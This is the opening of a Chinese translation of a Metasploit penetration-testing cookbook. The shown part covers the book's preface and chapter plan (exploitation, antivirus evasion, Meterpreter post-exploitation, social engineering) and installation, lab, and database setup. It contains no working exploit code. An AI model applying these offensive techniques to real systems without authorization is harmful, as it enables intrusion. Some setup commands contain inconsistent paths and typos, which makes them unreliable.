Metasploit渗透测试手册

978-7-115-32383-5
作者: 【印度】Abhinav Singh
译者: 王一
编辑: 傅道坤

图书目录:

详情

作为渗透测试和漏洞扫描的必读手册,本书讲解了如何使用Metasploit收集目标网络/系统的信息,然后讲解了如何搭建框架和模块等内容,此外还深入讲解了基于操作系统的渗透测试技术,以及基于客户端的扫描方法论。本书适合系统开发人员、安全从业人员阅读。

图书摘要

Metasploit渗透测试手册

[印度] Abhinav Singh 著

王一 译

人民邮电出版社

北京

本书是一本介绍渗透测试的安全类技术书籍,全书以 Metasploit 这一最流行的渗透测试框架为演示和实验工具,内容由浅入深,易于理解,同时具有极强的可操作性与实用性。

本书总共分为10章,前两章对Metasploit及信息收集与扫描进行简单介绍;第3章介绍使用 Metasploit对操作系统漏洞进行攻击渗透;第 4章介绍使用 Metasploit进行客户端漏洞攻击和防病毒软件规避;第5章、第6章介绍非常重要的Meterpreter,并演示了利用该工具探索已攻陷目标机器的情况;第7章、第8章分别介绍框架中模块和漏洞利用代码的使用问题;第9章介绍Armitage;第10章介绍社会工程工具包的使用问题。

本书作为Metasploit渗透测试技术手册,适合于渗透测试人员、网络安全管理人员、信息安全专业的学生及对信息安全感兴趣的读者阅读。

Abhinav Singh是来自印度的一位信息安全专家,年轻有为。他对破解和网络安全领域有着浓厚的兴趣。他以自由职业者的身份积极服务于多家安全公司,为它们提供咨询服务。当前,他是印度 Tata Consultancy Services 公司的一名系统工程师。他因其博客(http://hackingalert.blogspot.com)而被人们所熟知,他在其博客中与他人分享了解决破解和网络安全问题的经验。Abhinav的文章已经被多家技术杂志和门户网站所引用。

我要感谢我的父母,谢谢他们一直以来对我的支持和信任。我还要感谢我的姐姐,作为我的医生,她对我悉心照料。谢谢Sachin Raste先生,他为审校本书付出了宝贵的精力。谢谢Kanishka Khaitan,他是我最完美的榜样。我还要感谢我的博客读者们,他们向我提供了宝贵的建议和意见。最后,我要感谢Packt Publishing出版社,与他们的默契合作,让我终生难忘。

Kubilay Onur Gungor当前以Web应用安全专家的身份供职于Sony欧洲公司,他还是Sony欧洲和亚洲地区的事件经理。

他在IT安全类领域已经工作了5年多的时间。独立在安全领域研究了一段时间以后,他凭借图像的密码分析(即使用混乱的逻辑图来加密)开始了其安全职业生涯。通过在Isik大学数据处理中心的工作,他在网络安全领域积累了大量经验。在Netsparker担任QA测试人员工作期间,他开始进入渗透测试领域,并为土耳其的一家领先的安全公司工作。他曾经为很多大型客户(例如银行、政府机构、电信公司)的IT基础设施进行多次渗透测试。他还为多家软件厂商提供了安全咨询服务,以帮助他们维护软件安全。

Kubilay还一直在研究多学科的网络安全方法,其中包括犯罪学、冲突管理、感知管理、恐怖主义、国际关系和社会学。他还是 Arquanum 多学科网络安全研究学会(Arquanum Multidisciplinary Cyber Security Studies Society)的创始人。

Kubilay经常以发言人的身份参与安全会议。

Kanishka Khaitan是印度普纳大学计算机应用专业的一名硕士研究生,她在瓦拉纳西印度大学获得了数学专业的荣誉学位。在过去的两年里,她一直在Amazon的Web领域工作。而在此之前,她参与了Infibeam(一家位于印度的在线零售公司)为期6个月的实习生项目。

Sachin Raste是一位著名的安全专家,在网络管理和信息安全领域有 17年以上的工作经历。他与其团队为印度的一些大型商业机构设计过网络和应用,并将它们与IT流程以流水化的形式集成起来,从而实现业务的连贯性。

他当前以自身安全研究人员的身份与 MicroWorld(信息安全解决方案电子扫描范围[eScan range]的开发团队)一起工作。他设计并开发了一些开创性的算法用来检测和预防恶意软件和数字欺诈,从而保护网络免于黑客和恶意软件的攻击。Sachin Raste在其专业领域内还发表了多篇白皮书,并出席了许多以“宣传防止数字欺诈,增强防范”为主题的电视节目。

与MicroWorld一起工作的经历也提升了Sachin的技术技能,从而使其可以跟上信息安全业界的当前趋势。

首先,我要特别感谢我的妻子和儿子,以及为我提供帮助的密友们。正是因为你们的存在,世间一切之事才有了可能。谢谢来自MicroWorld及其他单位的同事们,谢谢你们能够耐心地聆听,并帮助我成功完成了许多复杂的项目;与你们的合作令人愉快而难忘。感谢我的老板—MicroWorld的MD—他给了我足够的自由和时间来探索自己的未知。

感谢你们!

献词

谨将本书献给我的祖父母,感谢他们的祝福。将本书献给我的父母和姐姐,感谢他们的支持和鼓励。还要将本书献给我的密友Neetika,他是我永不止步的动力。

对当前环境下的网络安全而言,渗透测试是核心工作之一。渗透测试通过进行实质意义上的入侵式安全测试,对目标的安全性进行完全分析,这有助于识别目标系统主要组件中硬件或软件方面的潜在弱点(即安全漏洞)。渗透测试之所以重要,是因为其有助于从黑客的视角来识别目标系统的威胁与弱点,并且在发现目标中存在的安全漏洞之后,可以实时地对其进行渗透利用以评估漏洞的影响,然后采用适当的补救措施或打补丁,以便保护系统免遭外部攻击,从而降低风险因素。

决定渗透测试可行性的最大因素是对目标系统相关信息的了解情况。在不具备目标系统先验知识的情况下,就只能实施黑盒测试。在黑盒测试工作中,渗透测试人员只能“白手起家”,一点一滴地收集目标系统的相关信息。而在白盒测试中,测试人员已全面掌握目标系统的相关信息,此时需要做的工作是识别目标系统中存在的已知(或未知)弱点。这两种渗透测试方法都有相当的难度,并且每种环境都会有特定的需求。业界专家提炼了一些关键步骤,这些步骤对几乎所有形式的渗透测试都是至关重要的,包括以下几点。

目标发现与枚举:识别目标,收集目标相关的基本信息,但不与目标建立任何形式的物理连接。

漏洞识别:通过扫描、远程登录、网络服务等多种方法,统计出目标系统中运行的软件和提供的服务。

漏洞利用:对目标系统软件或服务中存在的已知或未知漏洞进行利用。

漏洞利用后的控制程度:成功地进行漏洞利用后,攻击者在目标系统中具备的访问控制权限级别。

报告:针对发现的漏洞及其可能的应对措施提出建议。

这些步骤看起来很简单,但事实上,要对运行着大量服务的高端系统进行全面的渗透测试,需要花费数天甚至数月的时间才能完成。渗透测试之所以是一项耗时的任务,原因在于渗透测试以“试错法”技术作为基础。对漏洞的渗透与利用依赖于大量的系统配置要素,如果不去实践尝试,就不可能确定某一个特定的漏洞是否能够成功利用。试想一下,以对运行着10项服务的Windows操作系统进行漏洞利用为例,渗透测试人员必须对这10种不同服务中是否存在已知漏洞进行全面的分析与识别。而且在识别之后,才能开始漏洞利用的过程。这还只是仅需要考虑一个系统的小型场景,如果面对的是包含大量类似系统的整个网络,我们又该怎样逐一地对其进行测试呢?

这就是渗透测试框架发挥作用的地方。渗透测试框架可以将多个测试过程进行自动化实现,例如网络扫描、基于可用服务及其版本信息的漏洞识别、自动式漏洞利用等。渗透测试框架为测试人员提供了一个全面的控制面板,测试人员可以借助控制面板对所有测试活动进行有效的管理,同时还可以对目标系统进行有效监控,从而加快渗透测试进程。渗透测试框架的另一个优势是报告生成。利用渗透测试框架,可以自动保存渗透测试结果,并生成测试报告以备后续使用,或者与远程工作的其他人员共享。

本书旨在帮助读者掌握当前应用最为广泛的测试框架之一—Metasploit。Metasploit框架是一个开源平台,有助于创建实用型漏洞利用工具,并提供了渗透测试需要的其他核心功能。本书将带领读者畅游Metasploit世界,并介绍怎样使用Metasploit进行有效的渗透测试。此外,本书还将涉及Metasploit框架之外的其他一些扩展工具,并讨论怎样提高其功能以便提供更好的渗透测试体验。

本书内容

第1章,给安全专业人员的Metasploit快速提示,将带领读者初探Metasploit与渗透测试,对Metasploit框架及其体系结构、库等内容进行初步认识。要使用Metasploit框架进行渗透测试,需要先对其进行安装,本章将介绍怎样使用虚拟机构建自己的渗透测试环境。然后讨论怎样在不同的操作系统上进行安装,最后对Metasploit的使用进行初步尝试,并对其使用界面进行介绍。

第2章,信息收集与扫描,这是渗透测试的第一步,本章从最传统的信息收集方式开始,然后介绍怎样使用 Nmap 进行高级扫描。本章在内容上还涵盖了一些其他工具,例如Nessus与NeXope。与Nmap相比,NeXope提供了一些额外的信息,从而弥补了Nmap的不足。最后,讨论 Dradis 框架,渗透测试人员广泛使用这一框架与远程的其他测试人员共享测试结果和报告。

第3章,操作系统漏洞评估与利用,主要讨论目标系统中运行的、尚未打补丁的操作系统中漏洞的发现与利用。利用操作系统漏洞成功率高,并且操作简便。还讨论对几种流行的操作系统的渗透测试,例如Windows XP、Windows 7及Ubuntu等,包括这些操作系统中常见的、已知的一些漏洞,以及怎样在Metasploit中利用这些漏洞来突破目标机器。

第4章,客户端漏洞利用与防毒软件规避,讨论怎样使用Metasploit进行客户端漏洞利用的主题。本章在内容上涉及一些流行的客户端软件,例如Microsoft Office、Adobe Reader及IE浏览器。本章还进一步讨论如何规避或关闭客户端防病毒软件,以防止目标系统产生告警信息。

第5章,使用 Meterpreter 探索已攻陷目标,讨论漏洞利用成功后的下一个步骤。Meterpreter 是一款在漏洞利用成功之后使用的工具,包含一些功能,有助于在攻陷的目标机器中获取更多信息。本章还包括一些有用的渗透测试技术,例如权限提升、文件系统访问、键盘截获窃听等。

第6章,高级Meterpreter脚本设计,通过介绍构建自己的Meterpreter脚本、使用API组合工作等高级主题,本章使读者对Metasploit知识的认识进入一个新高度。通过本章的学习,读者可以更灵活地运用Metasploit,因为可以根据渗透测试的实际场景,自己设计实用脚本,并将其融入到Metasploit框架中使用。本章还包括一些高级的“后渗透”概念,例如劫持、哈希注入及持续连接等内容。

第7章,使用模块进行渗透测试,本章将读者的注意力转移到Metasploit中另一个重要方面:模块。Metasploit框架中收集整合了大量模块,不同的模块适用于不同的特定场景。本章包括Metasploit中一些重要的辅助性模块,也包括怎样构建自己的Metasploit模块。需要注意的是,准确理解本章内容需要一些关于Ruby脚本的基本知识。

第8章,使用漏洞利用代码,通过讨论怎样将任意的攻击代码转换为Metasploit模块,本章将终极武器加入到Metasploit库中。本章涉及一些高级主题,将向读者讲解怎样构建自己的Metasploit攻击代码,并在框架中进行使用。由于本章不可能涉及Metasploit框架中的所有漏洞利用代码,建议读者可以将本章作为手册,以便为Metasploit库之外的漏洞利用代码进行测试时提供参考。本章还涉及模糊测试模块,该模块可用于对任何漏洞构建自己的概念性验证代码。最后,本章以一个完整的实例作为结尾,包括怎样对一个应用程序进行模糊测试、怎样发现缓冲区溢出漏洞,以及怎样构建针对该漏洞的Metasploit模块。

第9章,使用Armitage,简单讨论Armitage,它是最流行的Metasploit模块之一。Armitage为 Metasploit 框架提供了一个图形化界面,并提供一些点击式的漏洞利用选项增强Metasploit框架功能。本章重点关注Armitage的一些重要方面,例如快速发现漏洞、多目标处理、标签间移位,以及成功渗透后的处理等内容。

第10章,社会工程学工具包,这是本书的最后一章,介绍Metasploit框架中的另一个重要扩展—社会工程学工具包(Social Engineer Toolkit,SET),用于生成利用目标用户的疏忽大意对目标进行渗透的测试用例。本章内容涉及SET相关的一些基本攻击手段,包括钓鱼攻击、网站攻击、USB感染攻击等。

阅读本书的先决条件

为在阅读过程中重现和实践本书介绍的一些场景,读者需要准备两套系统,一套作为渗透测试实施系统,一套作为目标系统。另一种方法是,只需准备一套系统,之后使用虚拟化软件在其上建立测试环境。

此外,读者还需要准备一个 BackTrack5的 ISO 镜像文件,其中已包含预先安装的Metasploit和本书中讨论的其他工具。另一种方法是,从官方网站下载适合于读者的操作系统平台的Metasploit。

本书读者对象

本书的目标读者既包括专业的渗透测试人员,也包括希望体验这一工具的 Metasploit新手,书中包含了适合每个人的全部内容。本书采用了易于阅读、理解和场景再现的“食谱”结构,从初学者层次的渗透测试基础知识讲起,自然地过渡到专家级的高级知识和技能。因此,各个层次的读者都可以很容易地阅读和理解本书的内容。此外,本书需要读者具备扫描、漏洞利用和Ruby脚本的基本知识。

本书体例

提示框中的警告或重要提示以如此形式出现。

技巧与窍门则以这样的形式出现。

本章讲解下述内容:

● 在Windows系统中配置Metasploit;

● 在Ubuntu系统中配置Metasploit;

● BackTrack 5与Metasploit 终极组合;

● 在单机上构建渗透测试环境;

● 在带有SSH连接的虚拟机上构建Metasploit环境;

● 从界面开始——Metasploit的“Hello World”;

● 在Metasploit框架中建立数据库;

● 使用数据库存储渗透测试结果;

● 分析数据库中存储的渗透测试结果。

Metasploit 是当前信息安全与渗透测试领域最流行的术语,完全颠覆了已有的渗透测试方式。Metasploit 之所以如此受欢迎,是因为其所能执行的大部分任务可以简化渗透测试工作以使得系统更加安全。所有流行的操作系统都支持Metasploit,并且Metasploit框架在这些系统上的工作过程也几乎是一样的。本书中的内容和示例主要以BackTrack 5操作系统为基础,因为该操作系统预装有Metasploit及在其上运行的其他第三方工具。

首先介绍Metasploit框架及与其相关的各种术语。

● Metasploit框架:H.D.Moore在2003年开发的一个免费的、开源的渗透测试框架,后来被Rapid 7公司收购。该框架目前的稳定版是使用Ruby语言开发的。Metasploit框架包含了世界上最大且经过测试攻击的代码数据库,每年下载量超百万。该框架也是迄今为止使用Ruby脚本语言构建的最复杂项目之一。

● 漏洞:系统中存在的可能被攻击者或渗透测试人员用以破坏系统安全性的弱点。漏洞可能存在于操作系统中、应用软件中,甚至存在于网络协议中。

● 漏洞利用代码:是攻击者或测试人员针对系统中的漏洞而设计的,用以破坏系统安全性的攻击代码。每个漏洞都有自己相应的攻击代码,Metasploit v4中包含超过 700个针对不同漏洞的漏洞利用代码。

● 攻击载荷:完成实际攻击功能的代码,在成功渗透漏洞后会在系统上运行。攻击载荷最常见的用途是在攻击者和目标机器之间建立一个连接,Metasploit v4中包含超过250个实现不同攻击功能的攻击载荷。

● 模块:模块是组成完整系统的基本构建块。每个模块执行某种特定的任务,将若干模块组合成单独的功能主体可构成一个完整的系统。这种体系结构最大的优势在于,开发人员可以很容易地将新的漏洞利用代码和工具整合到Metasploit框架中。

Metasploit框架采用的是模块式体系结构,漏洞利用代码、攻击载荷、编码器等都可以视为单独的模块。下图展示了Metasploit的体系结构。

进一步解释上图的内涵。

Metasploit使用不同的库,这些库是保证Metasploit框架正确运转的关键。库实际上是预定义的任务、操作和功能的组合,框架中不同模块都可以使用这些库完成相应功能。Metasploit框架最基本的组成部分是Ruby扩展库(Rex),Rex提供的某些组件包含wrapper socket子系统、协议客户端与服务器、日志子系统、漏洞利用工具类及大量其他有用的类。Rex本身在设计上是独立的组件,不像有些组件需要默认的Ruby安装。

MSF Core库对Rex库进行了一些扩展,Core主要负责实现所有与漏洞利用模块、会话和插件的接口。这一核心库由框架的基础库进行扩展,可提供简单的用于处理框架核心功能的包裹器过程,同时也提供处理框架不同方面功能的工具类,例如对状态模块进行序列化以便适应不同的输出格式。最后,框架的用户接口(UI)对基础库进行了扩展,实现了对各种类型用户接口的支持,例如命令行控制台和Web界面。

Metasploit 框架提供了 4 种不同的用户接口,分别是 msfconsole、msfcli、msfgui 及msfweb。强烈建议使用者熟练掌握这些接口,但在本书中主要介绍和演示的是msfconsole,原因在于msfconsole对Metasploit框架提供了最好的支持,对框架所有功能的发挥起到杠杆作用。

下面开始讲解本章的具体内容,并对多个方面进行示例演示。

在Windows系统中安装Metasploit框架非常的简单,安装程序可以从Metasploit官方网站(http://www.metasploit.com/download)上下载。

准备

从官方网站上可以看到,有两种类型的安装程序可以下载,建议下载完全版的安装程序,其中包含了控制台和所有其他相关的依赖库,以及数据库和运行时环境。如果已经有配置好的供Metasploit框架使用的数据库,也可以下载迷你版的安装程序,其中只包含了控制台和依赖库。

怎样实现

下载好安装程序后,双击运行并等待安装完成即可。安装程序时会自动安装所有相关组件并建立数据库。安装完成后,可以通过安装程序创建的多种快捷方式访问Metasploit框架。

怎样工作

安装程序创建了大量的快捷方式,包括Metasploit web、cmd console及Metasploit update等。在Windows环境中,大多数使用方式都是点击操作。

在Windows系统中安装Metasploit时,应该禁用防病毒软件,因为有些安装文件会被其检测为潜在的病毒或威胁,从而阻塞安装过程。安装完成后,要确认在防病毒软件中将其安装目录设置在白名单中,否则该框架中的漏洞利用代码和攻击载荷都会被检测为病毒。

更多

下面讨论其他一些相关问题,以及在Windows系统中安装Metasploit时会遇到的一些提示信息。

安装中出现数据库错误

很多用户在Windows系统中安装Metasploit框架时会遇到一个常见的错误消息提示,如下图所示。

这是由配置PostgreSQL服务器出错导致的,可能的原因包括以下几方面。

PostgreSQL没有运行,可以使用Netstat命令查看相应端口是否开放及数据库是否正在运行。

有些安装程序需要默认的安装路径,比如,如果默认安装路径是 C 盘,将其变更为D盘就会出现这一错误。

语言编码问题。

如果遇到这一问题,可以下载安装Metasploit框架的简单版安装程序,其中只包含控制台和依赖库。之后再手动配置数据库并将其与Metasploit框架进行连接。

Metasploit 框架向基于 Ubuntu 的 Linux 操作系统提供了完全的支持,但其安装过程与Windows系统略有不同。

准备

从Metasploit官方网站(http://www.metasploit.com/download)上下载相应的安装程序。同样共有两种安装方式:迷你版安装和完整版安装,可根据实际需要进行选择。完整版安装包括所有依赖库、数据库、运行时环境等,迷你版安装只包含依赖库,不包括数据库。

怎样实现

完整版安装与迷你版安装存在一些差别,具体如下。

完整版安装;需要执行如下命令,在Ubuntu机器上安装Metasploit框架。

$ chmod +x framework-4.*-linux-full.run

$ sudo ./framework-4.*-linux-full.run

迷你版安装:需要执行如下命令,以安装选项最少的Metasploit框架。

$ chmod +x framework-4.*-linux-mini.run

$ sudo ./framework-4.*-linux-mini.run

怎样工作

上述演示的安装过程也是几乎所有其他软件在Ubuntu机器中的简单安装流程。安装完成后,可以使用hash-r命令来重载路径。

这一安装过程在几乎所有版本和类型的Linux机器上都是相同的。

更多

下面讨论其他一些相关问题,以及在Windows系统中安装Metasploit时会遇到的一些提示信息。

安装中出错

安装中可能会由于各种原因导致出错。有些版本的Ubuntu系统中Ruby语言库不完整,这可能是导致安装失败的原因之一。在这种情况下,可以通过执行如下命令单独安装依赖库。

要安装Ruby依赖库,可以运行如下命令。

$ sudo apt-get install ruby libopenssl-ruby libyaml-ruby libdl-ruby

libiconv-ruby libreadline-ruby irb ri rubygems

要安装subversion客户端,可以运行如下命令。

$ sudo apt-get install subversion

要安装原始扩展,可以运行如下命令。

$ sudo apt-get install build-essential ruby-dev libpcap-dev

安装完相应的依赖库后,从Metasploit官方网站下载Metasploit Unix tarball,并执行如下命令。

$ tar xf framework-4.X.tar.gz

$ sudo mkdir -p /opt/metasploit4

$ sudo cp -a msf4/ /opt/metasploit3/msf4

$ sudo chown root:root -R /opt/metasploit4/msf4

$ sudo ln -sf /opt/metasploit3/msf3/msf* /usr/local/bin/

成功执行上述命令之后,Metasploit框架即可安装完毕,此时即可运行该框架并执行相应命令。

对于安全专业人员而言,BackTrack 是最流行的操作系统。主要有两个原因:第一, BackTrack预安装了所有流行的渗透测试工具,不需要进行单独安装;第二,BackTrack是一个基于 Linux 的操作系统,更不容易遭受病毒攻击,从而在渗透测试过程中提供了更高的稳定性。BackTrack节省了安装相关组件和工具的时间,并降低了在安装过程中出错的可能性。

准备

可以在主机上安装独立的BackTrack操作系统,也可以在虚拟机上进行安装。安装过程很简单,和安装任何基于Linux的操作系统一样。

怎样实现

(1)启动 BackTrack 操作系统时,会提示输入用户名和口令,根用户的默认用户名是root,密码是toor。

(2)成功登录系统后,可以在命令行模式下工作,也可以执行startx命令进入GUI模式。

(3)用户可以通过Applications菜单或命令行启动Metasploit框架。要从Applications菜单中启动,可以依次选择Applications | BackTrack | Exploitation Tools | Network Exploitation Tools | Metasploit Framework等选项,如下图所示。

(4)BackTrack中Metasploit采用的是简单的目录结构体系,根文件夹是pentest,再向上是/exploits/framework3。要从命令行中启动 Metasploit,需要先启动终端窗口,并输入如下命令切换到Metasploit目录。

root@bt:~# cd /pentest/exploits/framework3

root@bt:/pentest/exploits/framework3 ~# ./msfconsole

怎样工作

从命令行中启动Metasploit需要使用msfconsole的完全路径,从Application菜单中可以实现对不同用户接口的直接访问。

使用多台机器构建渗透测试环境是理想的选择,但如果只有一台机器而又需要马上构建渗透测试环境该怎么办呢?答案是使用虚拟机。用户可以在多种操作系统上并发执行渗透测试任务,下面快速了解一下如何借助虚拟机在单独的系统上构建渗透测试环境。

准备

使用 virtual box构建两个虚拟机,分别采用BackTrack 5和Windows XP SP2操作系统,宿主机操作系统是Windows 7。为此,需要 virtual box安装程序和两种虚拟机操作系统的镜像文件或安装盘。完整的构建环境包括运行Windows 7的主机和分别在运行BackTrack 5、Windows XP SP2操作系统的虚拟机。

怎样实现

安装虚拟机的过程很简单,一般遵循如下3个步骤。

(1)安装 virtual box后,创建新的虚拟机,选择适当的选项并点击Next,要启动安装过程,必须提供适当的安装介质,可以是镜像文件或安装盘。要了解完整的虚拟机安装过程手册,可以参考如下链接。

http://www.virtualbox.org/manual/UserManual.html

(2)为保证虚拟机有较好的性能,推荐32位操作系统至少分配4GB内存,64位操作系统至少分配8GB内存。下一节中,将介绍在运行多台虚拟机时降低内存使用的方法。

(3)虚拟机(VM)创建完成后,可以使用 clone(克隆)选项,该选项将为该虚拟机创建一个完全一致的备份,在操作虚拟机出现失效时,可以使用虚拟机的克隆版进行快速恢复,而不需要重新安装。也可以使用 snapshot(快照)选项保存虚拟机的当前状态,包括该虚拟机当前的工作设置和状态,今后可以在任何需要的时候从快照恢复当时的工作场景。

怎样工作

在启动虚拟机之前,需要先进行一项重要配置设置,以便两个虚拟机可以互相通信。选择某台虚拟机和Settings(设置),然后选择Network settings(网络设置),在网络适配器中,有一个预安装的NAT适配器用于网络连接,在Adapter 2中选择Host-only Adapter,如下图所示。

两台机器设置如上所述。之所以选择Host-only Adapter,是为了两台虚拟机之间彼此进行通信。设置完成后,为测试是否成功,可以在命令提示符中使用ipconfig命令查看Windows虚拟机的IP地址,使用ifconfig命令查看BackTrack虚拟机的IP地址,并使用这两个IP地址互相进行ping操作,确认两台虚拟机之间是否连通。

更多

下面讨论其他一些选项,以及在完成此项任务时会遇到的一些其他问题。

禁用防火墙与防病毒软件防护

在从BackTrack虚拟机对Windows机器进行ping操作时,有时候会发现网络数据包无法收到,这本来应该意味着Windows机器不处于存活状态,但有时候是因为默认的Windows防火墙设置导致的,因此需要禁用防火墙防护并再次进行ping操作,查看数据包是否可以收到。同样地,对Windows虚拟机上的防火墙也需要进行类似处理。

安装 virtual box guest additions

virtual box提供了一些附件的附加式安装,可以提供更好的虚拟机使用体验,这些附件所能带来的好处主要有如下几方面。

鼠标从主机操作系统到虚拟机操作系统的无缝式移动;

虚拟机操作系统的自动式键盘整合;

更合适的屏幕大小。

要安装客户端附加组件,需要打开虚拟机,选择Device标签,点击 Install guest additions。

在前面的内容中,主要讲解了如何借助虚拟化技术在单独的机器上构建渗透测试环境,但在多台虚拟机的情况下,会产生严重的内存使用问题,所以,下面将讨论一种适用于此种情况的方便而实用的技术。

准备

所需要的只是一个SSH客户端,我们将使用PuTTY,因为它是Windows环境下最流行的免费SSH客户端。我们将在 Install guest additions与SSH之间建立连接,因为该虚拟机需要消耗比Windows XP更多的内存。

怎样实现

(1)首先启动BackTrack虚拟机,在登录界面输入用户名和口令并启动命令行,现在不启动GUI,执行下面任一条命令。

root@bt:~# /etc/init.d/start ssh

root@bt:~# start ssh

该命令将在BackTrack机器上启动SSH进程。

(2)接下来输入如下命令获取IP地址。

root@bt:~# ifconfig

记下该IP地址。

(3)接下来在宿主机上启动PuTTY,输入BackTrack虚拟机的IP地址和端口号22,如下图所示。

(4)点击上图中的Open按钮,启动命令行。如果连接成功,在PuTTY命令行中看到的实际上就是BackTrack虚拟机的功能。命令行中会出现要求登录的提示,输入用户名和口令登录,之后运行ifconfig命令,查看显示的IP地址是否与BackTrack虚拟机的地址相同,如下图所示。

怎样工作

在该SSH会话中,我们可以使用PuTTY与BackTrack虚拟机进行交互。由于没有加载GUI,所以内存消耗几乎减少了一半。同样地,将BackTrack虚拟机最小化可以进一步减少内存消耗,因为Windows操作系统只为最小化进程提供了较少的内存共享,而对那些处于最大化模式运行的任务提供更快的执行速度,这样可以在一定程度上进一步减少内存消耗。

界面为用户与软件或平台通信提供了一个前端操作界面。Metasploit有4个界面,分别是msfgui、msfweb、msfcli与msfconsole。强烈建议用户熟练掌握这些界面,不过本书中主要介绍的是msfconsole界面,与其他界面相比较,这一界面是功能最强大的且完整整合。

准备

启动已经安装有Metasploit的操作系统,如果是装在虚拟机上,就启动虚拟机。

怎样实现

启动msfconsole很简单,遵循如下几个步骤。

(1)在Windows操作系统中,可以通过Start |metasploit framework | msfconsole菜单路径启动msfconsole。

(2)在BackTrack中,可以浏览Applications | Exploitation tools | Network

exploitation tools | Metasploit framework | msfconsole。

(3)如果要从终端中直接启动msfconsole,需要先使用如下命令。

root@bt:~# cd /pentest/exploits/framework3

(4)此时工作目录已切换到framework3,输入如下命令即可启动msfconsole。

root@bt:/pentest/exploits/framework3# ./msfconsole

现在,msfconsole接口已经处于运行状态,可以接受命令输入。

怎样工作

Metasploit界面拓展了基础库,该库可以启动框架的原有功能。可执行简单的命令,例如建立漏洞利用代码和攻击载荷、运行更新,以及配置数据库。随着程序运行的深入,将相应调用其他功能库。

更多

下面介绍msfconsole的功能。

尝试某些命令

这里列出几条可以进行尝试和探索的命令。

msf > ls:ls命令可以列出当前所有的目录和文件,可以在其他目录下尝试。

msf > help:该命令将列出Metasploit框架中所有可用的命令,这些命令可以划分为核心命令和数据库后台命令,前者包含与框架直接相关的命令,后者包含与数据库进行交互的命令。

msf > msfupdate:可经常使用该命令将最新的漏洞利用代码、攻击载荷、库更新到Metasploit框架中。

Metasploit 的重要特点是包括用于存储渗透测试结果的数据库。渗透测试涉及大量信息,并且持续数天,因此存储中间结果是必要的。因此,好的渗透测试工具应该正确地整合数据库,以便快速高效地存储结果。

准备

默认情况下,Metasploit将自带的PostgreSQL作为基础数据库。在BackTrack上,还有另外一种选择,也就是MySQL数据库。用户可以使用这两种数据库中的任一种。我们先来看一下PostgreSQL数据库的默认设置。使用如下命令,切换 opt/framework3/config目录,查看database.yml文件。

root@bt:~# cd /opt/framework3/config

root@bt:/opt/framework3/config# cat database.yml

production:

adapter: postgresql

database: msf3

username: msf3

password: 8b826ac0

host: 127.0.0.1

port: 7175

pool: 75

timeout: 5

注意系统已经创建的默认用户名、口令和默认数据库。记下这些值,后面会用到,也可以根据需要对这些值进行修改。

怎样实现

接下来的任务是连接数据库并使用。启动msfconsole,并弄清楚如何建立数据库并存储结果。

首先检查有哪些可用的数据库驱动器。

msf > db_driver

[*]Active Driver: postgresql

[*]Available: postgresql, mysql

PostgreSQL是默认使用的数据库,如果需要切换数据库驱动器,可以执行下面的命令。

Msf> db_driver mysql

[*]Active Driver: Mysql

这一命令将活跃的数据库驱动器切换到 MySQL,但本书中主要使用PostgreSQL数据库。

在最近一些版本的Metasploit中,Rapid7已经不再支持MySQL数据库,因此db_driver命令将不再有效,PostgreSQL数据库是Metasploit框架唯一支持的数据库。

怎样工作

要将数据库驱动器连接到 msfconsle,可以使用db_connec 命令,下面给出的是该命令的语法示例。

db_connect username:password@hostIP:port number/database_name

下面,我们使用刚才从database.yml文件中记下来的用户名、口令、数据库名、端口号的默认值。

msf > db_connect msf3:8b826ac0@127.0.0.1:7175/msf3

成功执行这一命令后,即完成了数据库的配置过程。

更多

下面介绍建立数据库过程中一些相关的重要问题。

连接数据库时出错

建立数据库连接时可能会出错,出错时记住以下两点。

使用db_driver和db_connect命令进行检查,确认在使用正确的数据库组合。

使用tart/etc/init.d启动数据库服务,并尝试进行重新连接。

如果错误仍然没有解决,可以使用下面命令重装数据库及相关支持库。

msf> gem install postgres

msf> apt-get install libpq-dev

删除数据库

用户可以在任何时候丢弃已经创建的数据库并重新开始存储新的结果,下面展示的是删除数据库的命令示例。

msf> db_destroy msf3:8b826ac0@127.0.0.1:7175/msf3

Database "msf3" dropped.

msf>

下面学习如何使用已配置的数据库存储渗透测试过程中生成的各种结果。

准备

如果前面的操作都已经成功完成,接下来就已经可以使用创建的数据库存储结果。在msfconsole中输入help命令,快速了解一下有哪些可用的数据库命令。

怎样实现

观察下面的简单示例。db_nmap 命令可以直接将端口扫描结果和相关信息存储到数据库中,启动Nmap对目标机器进行扫描,会得到怎样的结果。

msf > db_nmap 192.168.56.102

[*] Nmap: Starting Nmap 5.51SVN ( http://nmap.org ) at 2011-10-04 20:03

IST

[*] Nmap: Nmap scan report for 192.168.56.102

[*] Nmap: Host is up (0.0012s latency)

[*] Nmap: Not shown: 997 closed ports

[*] Nmap: PORT STATE SERVICE

[*] Nmap: 135/tcp open msrpc

[*] Nmap: 139/tcp open netbios-ssn

[*] Nmap: 445/tcp open microsoft-ds

[*] Nmap: MAC Address: 08:00:27:34:A8:87 (Cadmus Computer Systems)

[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 1.94 seconds

从结果可以看到,Nmap生成了一些扫描结果,并自动地将结果存储到当前正在使用的数据库中。

我们可以在Nmap扫描时使用-oX参数,以便以XML格式存储扫描结果,这有助于在其他第三方软件中导入扫描结果,比如后面章节中将使用的Dardis框架。

msf > nmap 192.168.56.102 –A -oX report

[*] exec: nmap 192.168.56.102 –A -oX report

Starting Nmap 5.51SVN ( http://nmap.org ) at 2011-10-05 11:57 IST

Nmap scan report for 192.168.56.102

Host is up (0.0032s latency)

Not shown: 997 closed ports

PORT STATE SERVICE

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

MAC Address: 08:00:27:34:A8:87 (Cadmus Computer Systems)

Nmap done: 1 IP address (1 host up) scanned in 0.76 seconds

这里,report是存储扫描结果的文件名,在后面讲解其他内容时会用到。

怎样工作

db_nmap实质上创建了一个SQL查询,涉及多项扫描内容,扫描完成后,就会将各种相关值存入到数据库中。以电子表格形式存储扫描结果的便利性,使其很更容易与第三方工具进行结果共享。

在数据库存储测试结果后,下一步工作就是对其进行分析,分析有助于更深入地理解目标系统。根据使用需求的不同,数据库中的测试结果可以长期存储,也可以短期存储。

准备

启动msfconsole,遵循前面介绍的操作步骤,建立数据库连接。可以用数据库存储新的测试结果,也可以用来分析以前存储的结果。可以导入前面Nmap扫描时创建的XML文件,以便对扫描结果进行分析。

怎样实现

尝试一些重要命令,以便对存储结果有更清晰的理解。

